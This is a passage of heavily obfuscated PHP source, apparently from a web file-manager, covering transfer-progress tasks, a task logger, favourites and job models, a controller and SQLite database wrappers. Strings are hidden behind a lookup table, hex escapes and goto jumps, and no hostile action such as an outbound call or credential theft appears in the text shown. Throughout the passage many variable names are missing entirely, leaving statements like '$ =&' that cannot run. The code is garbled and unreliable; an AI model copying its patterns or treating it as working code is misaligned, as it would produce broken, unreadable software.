if ($ژĴ[$[1833]] == $[110]) { $ژĴ[$[1836]] = $ژĴ[$[1835]] + $ژĴ[$[1831]] * 0.5 + $ژĴ[$[1832]] * 0.5; } } } } $ژĴ[$[1779]] = $ژĴ[$[1836]] / $ژĴ[$[837]]; if ($ژĴ[$[1779]] > 0) { $֒ = timeFloat() - $ژĴ[$[1781]] - $ژĴ[$[1784]]; $ژĴ[$[1785]] = $֒ * (1 - $ژĴ[$[1779]]) / $ژĴ[$[1779]]; } } public function addPath($) { $į =& $_SERVER[ձК]; if (!$) { return; } $Ժ =& $this->task; $ = IO::infoWithChildren($); $ = $Ժ[$į[1840]] ? $Ժ[$į[1840]][$į[1841]] : 0; $Ժ[$į[1840]] = array($į[1841] => $ + 1, $į[496] => $[$į[32]], $į[87] => $[$į[87]], $į[584] => $[$į[584]] ? $[$į[584]] : $[$į[87]]); if ($[$į[33]] == $į[232]) { $Ժ[$į[1142]] += 1; } else { $Ժ[$į[1142]] += $[$į[82]][$į[80]]; if ($[$į[193]]) { $Ժ[$į[1142]] += $[$į[82]][$į[81]] + 1; } } $Ժ[$į[837]] += $[$į[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($߱) { } public function sourceAddFileStart($ح) { $ϢҸ =& $_SERVER[ձК]; $ܝ =& $this->task; $ܝ[$ϢҸ[1831]] = $ح[$ϢҸ[79]]; $ܝ[$ϢҸ[1829]] = $ح[$ϢҸ[32]]; $ܝ[$ϢҸ[1144]] = $ح[$ϢҸ[32]]; $ܝ[$ϢҸ[1842]] = $ح[$ϢҸ[87]]; $this->update(); } public function sourceAddFileEnd($칇) { $Ҟ =& $_SERVER[ձК]; $ =& $this->task; $[$Ҟ[1836]] += $칇[$Ҟ[79]]; $[$Ҟ[1842]] = $칇[$Ҟ[87]]; $this->update(1); } public function copyFileStart($, $胅, $ؠ, $ɿ, $社, $) { $Ӊlj =& $_SERVER[ձК]; $Ҷ = $社; if ($Ҷ == $GLOBALS[$Ӊlj[1843]]) { $Ҷ = $GLOBALS[$Ӊlj[1844]]; } $GLOBALS[$Ӊlj[1844]] = $社; $GLOBALS[$Ӊlj[1843]] = $; $ֵį =& $this->task; $ֵį[$Ӊlj[1829]] = $Ҷ; $ֵį[$Ӊlj[1831]] = (int) $->size($胅); $ֵį[$Ӊlj[1832]] = 0; $ֵį[$Ӊlj[1144]] = $Ӊlj[12]; $ֵį[$Ӊlj[1833]] = $Ӊlj[12]; $ֵį[$Ӊlj[1834]] = 0; $ۜ = $ֵį[$Ӊlj[1831]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ֵį[$Ӊlj[477]] . $Ӊlj[1845]); if ($ۜ && file_exists(get_path_father($ɿ))) { Cache::set($ֵį[$Ӊlj[477]] . $Ӊlj[1845], $ɿ); $ֵį[$Ӊlj[1802]] = array($Ӊlj[1846], $Ӊlj[1847]); } $this->update(0, $ۜ); } public static function updateCopyLocalFileSize($) { $Աց =& $_SERVER[ձК]; $Ԋ = Cache::get($[$Աց[477]] . $Աց[1845]); if (!$Ԋ || !file_exists($Ԋ)) { return $; } $[$Աց[1832]] = @filesize($Ԋ); $[$Աց[1836]] += $[$Աց[1832]]; self::updateTask($); return $; } public function copyFileEnd($݆, $Ѐ, $ʣ, $ؘ, $, $) { $ف =& $_SERVER[ձК]; $˘ =& $this->task; $˘[$ف[1832]] = $˘[$ف[1831]]; $˘[$ف[1833]] = $ف[12]; unset($˘[$ف[1802]]); if ($ == $˘[$ف[1829]]) { $˘[$ف[1835]] += $˘[$ف[1831]]; $˘[$ف[1836]] = $˘[$ف[1835]]; $ӣۙ = 1; if (isset($˘[$ف[1842]]) && $˘[$ف[1842]] == $Ѐ) { $ӣۙ = 0; } $this->update($ӣۙ); } else { $this->update(); $˘[$ف[1832]] = 0; } Cache::remove($˘[$ف[477]] . $ف[1845]); self::log($ف[1848] . $Ѐ . $ف[73] . $ؘ . $ف[287] . $ . $ف[1849] . $˘[$ف[1829]]); } public function updateFileEnd($ý, $) { $ҁ =& $_SERVER[ձК]; $운 =& $this->task; $운[$ҁ[1829]] = $ý; $운[$ҁ[1831]] = $; $운[$ҁ[1835]] += $; $운[$ҁ[1836]] = $운[$ҁ[1835]]; $this->update(1); self::log($ҁ[1850] . $ý); } public function sourceModelCopy($ǵ) { $漩 =& $_SERVER[ձК]; $ = $ǵ[0]; $ = $ǵ[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $Т = 0; switch ($) { case $漩[640]: $Т = 1; break; case $漩[643]: $[$漩[1829]] = $[$漩[32]]; break; case $漩[645]: $Т = intval($ǵ[$漩[458]] * 0.4); break; case $漩[647]: $Т = intval($ǵ[$漩[458]] * 0.2); break; case $漩[649]: $Т = intval($ǵ[$漩[458]] * 0.4); break; } $this->update($Т); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ȣ, $) { $ފ =& $_SERVER[ձК]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($ȣ[$ފ[82]])) { $ = $ȣ[$ފ[82]][$ފ[80]]; $ = $ + $ȣ[$ފ[82]][$ފ[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($͖) { $this->sourceRemove($͖, !1); } public function curlProgress($ݧ, $, $ϲŹ, $¶, $֧) { $ =& $_SERVER[ձК]; $ =& $this->task; if ($֧ > 0) { $[$[1144]] = $[1851]; $[$[1833]] = $[110]; if ($[$[1831]]) { $[$[1832]] = $֧; } if ($[$[1834]]) { $[$[1832]] = $֧ + $[$[1834]]; } } else { if ($ϲŹ > 0) { if ($[$[1831]] == $) { $[$[1832]] = $ϲŹ; $[$[1144]] = $[1852]; $[$[1833]] = $[1281]; } } } $this->update(); } public function curlProgressStart($פ،) { } public function curlProgressEnd($ħ) { $Β =& $_SERVER[ձК]; $ù =& $this->task; $ = curl_getinfo($ħ); $ = $[$Β[1853]]; if ($ == -1) { $ = $[$Β[1854]]; } if ($ù[$Β[1833]] == $Β[110] && $) { $ù[$Β[1834]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[ձК]; $ =& $this->task; $[$[1855]] = 1; Hook::bind($[1823], array($this, $[1856])); Hook::bind($[1825], array($this, $[1857])); Hook::bind($[1827], array($this, $[1858])); } protected function endAfter() { $ƫ =& $_SERVER[ձК]; Hook::unbind($ƫ[1823], array($this, $ƫ[1856])); Hook::unbind($ƫ[1825], array($this, $ƫ[1857])); Hook::unbind($ƫ[1827], array($this, $ƫ[1858])); } public function progressStart($Ə) { $ =& $_SERVER[ձК]; $ӳ = curl_getinfo($Ə); self::log($[1859] . $ӳ[$[384]]); self::valueSet($this->task[$[477]], $this->task); } public function progressEnd($ָ) { $ =& $_SERVER[ձК]; self::log($[1860] . $this->task[$[477]]); $this->end(); } public function progress($, $ՠ, $ќ, $Ѹ, $) { $Թ =& $_SERVER[ձК]; $觜 =& $this->task; if ($ > 0) { $觜[$Թ[1142]] = $觜[$Թ[1142]] == 0 ? $Ѹ : $觜[$Թ[1142]]; $觜[$Թ[1778]] = $; } else { if ($ќ > 0) { $觜[$Թ[1142]] = $觜[$Թ[1142]] == 0 ? $ՠ : $觜[$Թ[1142]]; $觜[$Թ[1778]] = $ќ; } } $this->update(); self::log("\x70\x72\x6f\x67\162\x65\x73\x73\x48\x74\164\160\72\x64\x6f\x77\156\x3a{$ќ}\57{$ՠ}\73\40\165\x70\x6c\157\141\x64\72{$}\x2f{$Ѹ}\73"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ր = '', $ = 0, $Ÿ = '') { $ =& $_SERVER[ձК]; $Ÿ = $Ÿ ? $Ÿ : ($ր ? $ր : $); $ؤ = new Task($, $ր, $, $Ÿ); $GLOBALS[$[1861] . $] = new TaskLog($[1760], $ؤ, $Ÿ); return $ؤ; } public function __construct($ͷ͒ = '', $ր = '', $ﯱ = '') { $́ߎ =& $_SERVER[ձК]; if (!$ͷ͒) { $ͷ͒ = $́ߎ[1760]; } $ǀ = $ͷ͒ . $́ߎ[464] . rand_string(10); if (!$ﯱ) { $ﯱ = $ͷ͒ . $́ߎ[53] . $ﯱ; } switch ($ͷ͒) { case $́ߎ[1760]: if (!$ր || !$ր->task) { return echoLog($ͷ͒ . $́ߎ[1862]); } $ҙӣ = $ր; $ǀ = $ҙӣ->task[$́ߎ[477]]; $ͷ͒ = $ҙӣ->task[$́ߎ[477]]; if (!$ҙӣ->task[$́ߎ[1665]]) { $ҙӣ->task[$́ߎ[1665]] = $ﯱ ? $ﯱ : $ͷ͒; } break; case $́ߎ[1863]: if (!$ր) { return echoLog($ͷ͒ . $́ߎ[1864]); } $ڿ = is_string($ր) ? array($ր) : $ր; $ҙӣ = new TaskFileTransfer($ǀ, $ͷ͒, 0, $ﯱ ? $ﯱ : $ڿ[0]); foreach ($ڿ as $) { $ҙӣ->addPath($); } break; case $́ߎ[390]: if (!$ր) { return echoLog($ͷ͒ . $́ߎ[1864]); } $ڿ = is_string($ր) ? array($ր) : $ր; $ҙӣ = new TaskZip($ǀ, $ͷ͒, 0, $ﯱ ? $ﯱ : $ڿ[0]); foreach ($ڿ as $) { $ҙӣ->addPath($); } break; case $́ߎ[1301]: if (!$ր) { return echoLog($ͷ͒ . $́ߎ[1864]); } $ҙӣ = new TaskUnZip($ǀ, $ͷ͒, 0, $ﯱ ? $ﯱ : $ր); if ($ր) { $ҙӣ->addFile($ր); } break; case $́ߎ[152]: $ҙӣ = new TaskHttp($ǀ, $ͷ͒); break; default: return; break; } $this->task = $ҙӣ; $this->taskID = $ǀ; Hook::bind($́ߎ[1798], array($this, $́ߎ[1865])); Hook::bind($́ߎ[1800], array($this, $́ߎ[1866])); Hook::bind($́ߎ[1794], array($this, $́ߎ[1867])); echoLog($́ߎ[1868] . $ҙӣ->task[$́ߎ[1665]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ҥ =& $_SERVER[ձК]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($ҥ[1798], array($this, $ҥ[1865])); Hook::unbind($ҥ[1800], array($this, $ҥ[1866])); Hook::unbind($ҥ[1794], array($this, $ҥ[1867])); } public function taskUpdate($݉) { $ྶ٨ =& $_SERVER[ձК]; if (!$݉ || $this->taskID != $݉[$ྶ٨[477]]) { return; } $ = 20; $Τ = intval($݉[$ྶ٨[1779]] * $); $ = $ྶ٨[176] . str_repeat($ྶ٨[508], $Τ) . $ྶ٨[1093] . str_repeat($ྶ٨[53], $ - $Τ) . $ྶ٨[178]; $Ҍ = $ . sprintf($ྶ٨[1869], $݉[$ྶ٨[1779]] * 100) . $ྶ٨[1870]; $ب = $Ҍ . $݉[$ྶ٨[1778]] . $ྶ٨[8] . $݉[$ྶ٨[1142]] . LNG($ྶ٨[1871]); $Ê = $ྶ٨[12]; if ($݉[$ྶ٨[1855]]) { $ب = $Ҍ . size_format($݉[$ྶ٨[1778]]) . $ྶ٨[8] . size_format($݉[$ྶ٨[1142]]); $Ê = size_format($݉[$ྶ٨[1780]]) . $ྶ٨[1872]; } if ($݉[$ྶ٨[1144]]) { $݉[$ྶ٨[1829]] = $݉[$ྶ٨[1144]] . $ྶ٨[53] . $݉[$ྶ٨[1829]]; } if ($݉[$ྶ٨[1829]]) { $ݺ = $ྶ٨[12]; if ($݉[$ྶ٨[1831]]) { $ݺ = $ྶ٨[50] . size_format($݉[$ྶ٨[1832]]) . $ྶ٨[8] . size_format($݉[$ྶ٨[1831]]); } $Ê .= $݉[$ྶ٨[1829]] . $ݺ; } if ($݉[$ྶ٨[837]] && !$݉[$ྶ٨[1831]]) { $Ê .= $ྶ٨[53] . size_format($݉[$ྶ٨[1836]]) . $ྶ٨[8] . size_format($݉[$ྶ٨[837]]); } echoLog($ب . $ྶ٨[53] . $Ê, !0); } public function taskEnd($) { $͊ =& $_SERVER[ձК]; if (!$ || $this->taskID != $[$͊[477]]) { return; } $ = $ ? LNG($͊[1873]) . $͊[4] . $[$͊[1778]] . $͊[8] . $[$͊[1142]] . LNG($͊[1871]) . $͊[74] : $͊[12]; echoLog($͊[1874] . $[$͊[1665]] . ($[$͊[528]] ? $͊[74] . $[$͊[528]] : $͊[12]) . $͊[74] . $ . $͊[1875] . sprintf($͊[926], timeFloat() - $[$͊[1781]]) . $͊[1793]); $this->end(); } public function taskKill($ᖔ) { $ =& $_SERVER[ձК]; if (!$ᖔ || $this->taskID != $ᖔ[$[477]]) { return; } echoLog($[1876] . $ᖔ[$[1665]]); } } goto Aڎ; C: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\56\164\x61\163\153\x4c\x69\x73\164"; public $field = array("\156\141\x6d\x65", "\x74\x79\160\145", "\x65\166\145\156\164", "\x74\x69\x6d\145", "\144\x65\163\x63", "\x73\171\x73\164\x65\155", "\x65\x6e\x61\142\x6c\145", "\x6c\141\163\x74\122\165\156", "\163\157\162\164"); public function listData($ѿ = false, $Õ = "\x73\157\162\164", $Ȍ = false) { return parent::listData($ѿ, $Õ, $Ȍ); } public function add($쭚Ӏ) { $ =& $_SERVER[ձК]; $֎ٶ = $this->findByName($쭚Ӏ[$[32]]); if ($֎ٶ) { return !1; } $쭚Ӏ[$[1727]] = 0; $쭚Ӏ[$[2002]] = $this->getSort(); return parent::insert($쭚Ӏ); } private function getSort() { $ہ =& $_SERVER[ձК]; $ܪ = parent::listData(); $ = array_to_keyvalue($ܪ, $ہ[12], $ہ[2002]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ѧ =& $_SERVER[ձК]; $ڀ = $this->listData($); $܁ѱ = $this->findByName($[$ѧ[32]]); if (!$ڀ || $܁ѱ && $܁ѱ[$ѧ[477]] != $ڀ[$ѧ[477]]) { return !1; } return parent::update($, $); } public function remove($, $ = false) { $ =& $_SERVER[ձК]; $㥉 = $this->listData($); if (!$㥉) { return; } if (!$ && $㥉[$[191]] == $[91]) { return !1; } return parent::remove($); } public function enable($, $) { return $this->update($, array($_SERVER[ձК][2451] => $)); } public function run($ĕ) { return $this->update($ĕ, array($_SERVER[ձК][2463] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\x75\163\x65\x72\x5f\x66\141\x76"; protected function cacheFunctionAlias($⋟) { $զ =& $_SERVER[ձК]; return array($զ[2094] => array(USER_ID, $զ[2464])); } protected function listData() { $̄䷓ =& $_SERVER[ձК]; $ = array($̄䷓[1768] => USER_ID, $̄䷓[559] => 0); $˶ = $̄䷓[2465]; $ͩ = $this->field($˶)->where($)->order($̄䷓[2466])->select(); return $ͩ ? $ͩ : array(); } protected function resetCache() { } protected function listView() { $̗ =& $_SERVER[ձК]; $ = $this->listData(); $ = array_filter_by_field($, $̗[33], $̗[492]); $瞚 = array_to_keyvalue($, $̗[12], $̗[87]); if (!$瞚) { return $; } $ = 2000; $ͦ = array($̗[493] => array($̗[494], $瞚)); $Ƕ = Model($̗[899])->listSource($ͦ, $); $Ƕ = array_merge($Ƕ[$̗[86]], $Ƕ[$̗[85]]); $Ƕ = array_to_keyvalue($Ƕ, $̗[193]); foreach ($ as $ӗ => $) { $ = $Ƕ[$[$̗[87]]]; $ = $ ? $ : array(); $[$ӗ] = array_merge($, $); } return $; } protected function addFav($⹖ԣ, $ݒ = '', $ = "\163\x6f\165\162\143\x65") { $̡ =& $_SERVER[ձК]; $ = array($̡[1768] => USER_ID, $̡[559] => 0, $̡[498] => $, $̡[497] => $⹖ԣ); if ($this->where($)->find()) { return !1; } $ = array($̡[1768] => USER_ID, $̡[559] => 0); $ = $this->where($)->max($̡[2002]); if (!$) { $ = 0; } if (!$ݒ && $ == $̡[492]) { $렪 = Model($̡[1423])->where(array($̡[493] => $⹖ԣ))->find(); if (!$렪) { return !1; } $ݒ = $렪[$̡[32]]; } $ݒ = $this->getAutoName($ݒ); $ꘑ = array($̡[1768] => USER_ID, $̡[559] => 0, $̡[496] => $ݒ, $̡[497] => $⹖ԣ, $̡[498] => $, $̡[1982] => $ + 1); return $this->add($ꘑ); } protected function remove($ǜ) { $ =& $_SERVER[ձК]; $ = array($[1768] => USER_ID, $[495] => $ǜ); return $this->where($)->delete(); } protected function removeByName($) { $ =& $_SERVER[ձК]; $ư = array($[1768] => USER_ID, $[496] => $, $[559] => 0); return $this->where($ư)->delete(); } protected function rename($땧, $) { $ =& $_SERVER[ձК]; if ($땧 == $) { return !1; } $ㅊ = $this->getAutoName($); if ($ != $ㅊ) { return !1; } $ = array($[1768] => USER_ID, $[559] => 0, $[32] => $땧); return $this->where($)->save(array($[32] => $)); } protected function resetSort($Ν) { $Ԍ =& $_SERVER[ձК]; $Ν = is_array($Ν) ? $Ν : array(); $ĺ = array($Ԍ[1768] => USER_ID); for ($ŀ = 0; $ŀ < count($Ν); $ŀ++) { $ĺ[$Ԍ[495]] = $Ν[$ŀ]; $this->where($ĺ)->save(array($Ԍ[1982] => $ŀ + 1)); } return !0; } protected function moveTop($) { $ݦ =& $_SERVER[ձК]; $ԣ܊ = array($ݦ[1768] => USER_ID, $ݦ[559] => 0); $ˀ = $this->where($ԣ܊)->where(array($ݦ[32] => $))->find(); if (!$ˀ) { return; } $Ԏ = $this->field($ݦ[477])->where($ԣ܊)->order($ݦ[2466])->select(); $Ԏ = array_to_keyvalue($Ԏ, $ݦ[12], $ݦ[477]); $Ȑ = $Ԏ; $Ԏ = array_remove_value($Ԏ, $ˀ[$ݦ[477]]); array_unshift($Ԏ, $ˀ[$ݦ[477]]); return $this->resetSort($Ԏ); } protected function moveBottom($Ү) { $ =& $_SERVER[ձК]; $ = array($[1768] => USER_ID, $[559] => 0); $아 = $this->where($)->max($[2002]); $ξɄ = array($[2002] => $아 + 1); return $this->where($)->where(array($[32] => $Ү))->save($ξɄ); } private function getAutoName($ݺ) { $Œē =& $_SERVER[ձК]; $ = array($Œē[1768] => USER_ID, $Œē[559] => 0); $ܱ = $this->field($Œē[32])->where($)->select(); $ܱ = array_to_keyvalue($ܱ, $Œē[12], $Œē[32]); if (!$ܱ || !in_array($ݺ, $ܱ)) { return $ݺ; } for ($ = 0; $ < count($ܱ); $++) { if (!in_array($ݺ . "\x28{$}\x29", $ܱ)) { return $ݺ . "\x28{$}\51"; } } return $ݺ . "\x28{$}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\155\x2e\152\157\x62\x4c\151\163\164"; public $field = array("\156\141\155\145", "\144\145\163\x63", "\163\157\162\164"); const JOB_KEY = "\163\145\x6c\146\112\x6f\x62\114\151\x73\164"; public function listData($嚇 = false, $ޢ = "\163\x6f\x72\x74", $ϱЩЮ = false) { return parent::listData($嚇, $ޢ, $ϱЩЮ); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[ձК]; if ($this->findByName($[$[32]])) { return !1; } $[$[2002]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[ձК]; $ = parent::listData(); $ҚΗ = array_to_keyvalue($, $[12], $[2002]); return empty($ҚΗ) ? 0 : max($ҚΗ) + 1; } public function update($, $) { $ݰ =& $_SERVER[ձК]; $ = parent::listData($); $ό = $this->findByName($[$ݰ[32]]); if (!$ || $ό && $ό[$ݰ[477]] != $[$ݰ[477]]) { return !1; } return parent::update($, $); } public function setUserJob($λ, $) { $֩ =& $_SERVER[ձК]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $㓽 = array_to_keyvalue($, $֩[32]); $҂ = $֩[456]; foreach ($ as $) { if ($㓽[$]) { $҂ .= $㓽[$][$֩[477]] . $֩[50]; } else { $߇ǽ = $this->add($); $҂ .= $߇ǽ . $֩[50]; } } $҂ = rtrim($҂, $֩[50]); Model($֩[599])->metaSet($λ, self::JOB_KEY, $҂); } public function getUserJob($) { $鎯 = Model($_SERVER[ձК][599])->metaGet($); return $this->getUserJobInfo($鎯[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[ձК]; $㉗ = explode($[50], $); $Ù = parent::listData(); $Ù = array_remove_key($Ù, $[233]); $ݫ = array(); foreach ($㉗ as $Ȼ) { if (isset($Ù[$Ȼ])) { $ݫ[] = $Ù[$Ȼ]; } } return $ݫ; } } goto cӶ; AҸĂ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[ձК]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ = new ReflectionClass($); $ = func_get_args(); array_shift($); $this->{$} = $->newInstanceArgs($); } return $this->{$}; } public function routeBind($眢, $lj, $ܙ = 3) { $ =& $_SERVER[ձК]; $ = $this->in[$[9]]; $眢 = str_replace($[10], $[11], trim(trim($眢, $[8]), $[12])); if (!$眢 || count($) <= $ܙ) { return !1; } $䷯ = !0; $ = explode($[8], $眢); for ($ѥ = 0; $ѥ < count($); $ѥ++) { if ($[$ѥ] != $[$ܙ + $ѥ]) { $䷯ = !1; break; } } if (!$䷯) { return; } call_user_func_array(array($this, $lj), array()); } public function routeArgs($ֱ = 3) { $Ȩ = $this->in[$_SERVER[ձК][9]]; if (count($Ȩ) <= $ֱ) { return array(); } $웇 = array(); for ($ = $ֱ; $ < count($Ȩ); $ += 2) { $웇[$Ȩ[$]] = $Ȩ[$ + 1]; $this->in[$Ȩ[$]] = $Ȩ[$ + 1]; } return $웇; } protected function assign($ޤ, $ۡ) { $this->values[$ޤ] = $ۡ; } protected function display($߃) { ob_end_clean(); extract($this->values); require $this->tpl . $߃; } } class DbSqliteBase extends Db { public function __construct($ݢ桼 = '') { $ڊ =& $_SERVER[ձК]; if (!extension_loaded($ڊ[13])) { think_exception(think_lang($ڊ[14]) . $ڊ[15]); } if (!empty($ݢ桼)) { if (!isset($ݢ桼[$ڊ[16]])) { $ݢ桼[$ڊ[16]] = 438; } $this->config = $ݢ桼; if (empty($this->config[$ڊ[17]])) { $this->config[$ڊ[17]] = array(); } } } public function connect($ = '', $钢 = 0) { $ =& $_SERVER[ձК]; if (!isset($this->linkID[$钢])) { if (empty($)) { $ = $this->config; } $ɭ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; $ = $ɭ ? $[19] : $[20]; $this->linkID[$钢] = $($[$[21]], $[$[16]]); if (!$this->linkID[$钢]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$钢], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$钢]; } public function free() { $this->queryID = null; } public function query($Ø) { $ =& $_SERVER[ձК]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ø; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $Ø); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ȏь = $this->getAll(); return $ȏь; } } public function execute($) { $ٔ =& $_SERVER[ձК]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ٔ[25], 1); think_status($ٔ[24]); $ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ձК][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[ձК][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[ձК][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[ձК]; $ = $this->query($[29] . $ . $[30]); $ٕ = array(); if ($) { foreach ($ as $ => $) { $ٕ[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $ٕ; } public function getTables($ = '') { $ =& $_SERVER[ձК]; $ = $this->query($[45] . $[46] . $[47]); $ٓ = array(); foreach ($ as $Ȣ => $) { $ٓ[$Ȣ] = current($); } return $ٓ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ꗘ =& $_SERVER[ձК]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $ꗘ[4] . sqlite_error_string($); if ($ꗘ[12] != $this->queryStr) { $this->error .= LNG($ꗘ[48]) . $this->queryStr; } think_trace($this->error, $ꗘ[12], $ꗘ[49]); return $this->error; } public function escapeString($Ņ) { return sqlite_escape_string($Ņ); } public function parseLimit($Ϧ) { $ =& $_SERVER[ձК]; $ܿ = $[12]; if (!empty($Ϧ)) { $Ϧ = explode($[50], $Ϧ); if (count($Ϧ) > 1) { $ܿ .= $[51] . $Ϧ[1] . $[52] . $Ϧ[0] . $[53]; } else { $ܿ .= $[51] . $Ϧ[0] . $[53]; } } return $ܿ; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ =& $_SERVER[ձК]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($락 = '', $ɀ = 0) { $Ʀ =& $_SERVER[ձК]; if (!isset($this->linkID[$ɀ])) { if (empty($락)) { $락 = $this->config; } $this->linkID[$ɀ] = new SQLite3($락[$Ʀ[21]]); if (!$this->linkID[$ɀ]) { think_exception($this->linkID[$ɀ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ɀ]->busyTimeout(30000); if (1 != think_config($Ʀ[22])) { unset($this->config); } } return $this->linkID[$ɀ]; } public function free() { $this->queryID = null; } public function query($ܴ) { $ =& $_SERVER[ձК]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ܴ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($ܴ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $¾Ӭ = $this->getAll(); $this->numRows = count($¾Ӭ); return $¾Ӭ; } } public function execute($͵Ʊ) { $čܡ =& $_SERVER[ձК]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $͵Ʊ; if ($this->queryID) { $this->free(); } think_action_status($čܡ[25], 1); think_status($čܡ[24]); $ = $this->_linkID->exec($͵Ʊ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ձК][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[ձК][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ׯ = $this->_linkID->query($_SERVER[ձК][28]); if (!$ׯ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Ȳ實 = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $Ȳ實[] = $; } $this->queryID->reset(); return $Ȳ實; } public function getFields($ɔ܂) { $ܵ =& $_SERVER[ձК]; $ۉ = $this->query($ܵ[29] . $ɔ܂ . $ܵ[30]); $ = array(); if ($ۉ) { foreach ($ۉ as $ϊ => $) { $[$[$ܵ[32]]] = array($ܵ[32] => $[$ܵ[32]], $ܵ[33] => $[$ܵ[33]], $ܵ[35] => (bool) ($[$ܵ[35]] === $ܵ[12]), $ܵ[37] => $[$ܵ[56]], $ܵ[39] => (bool) $[$ܵ[57]], $ܵ[42] => (bool) $[$ܵ[57]]); } } return $; } public function getTables($ڛ = '') { $ =& $_SERVER[ձК]; $Ȧ = $this->query($[45] . $[46] . $[47]); $އ = array(); foreach ($Ȧ as $ => $Ŧ) { $އ[$] = current($Ŧ); } return $އ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[ձК]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($窳) { $ =& $_SERVER[ձК]; if ($this->_linkID) { return $this->_linkID->escapeString($窳); } return str_ireplace($[58], $[59], $窳); } public function parseLimit($ٮ) { $ء =& $_SERVER[ձК]; $ᲈȤ = $ء[12]; if (!empty($ٮ)) { $ٮ = explode($ء[50], $ٮ); if (count($ٮ) > 1) { $ᲈȤ .= $ء[51] . $ٮ[1] . $ء[52] . $ٮ[0] . $ء[53]; } else { $ᲈȤ .= $ء[51] . $ٮ[0] . $ء[53]; } } return $ᲈȤ; } } goto A; B: class SourceHistoryModel extends ModelBase { protected $tableName = 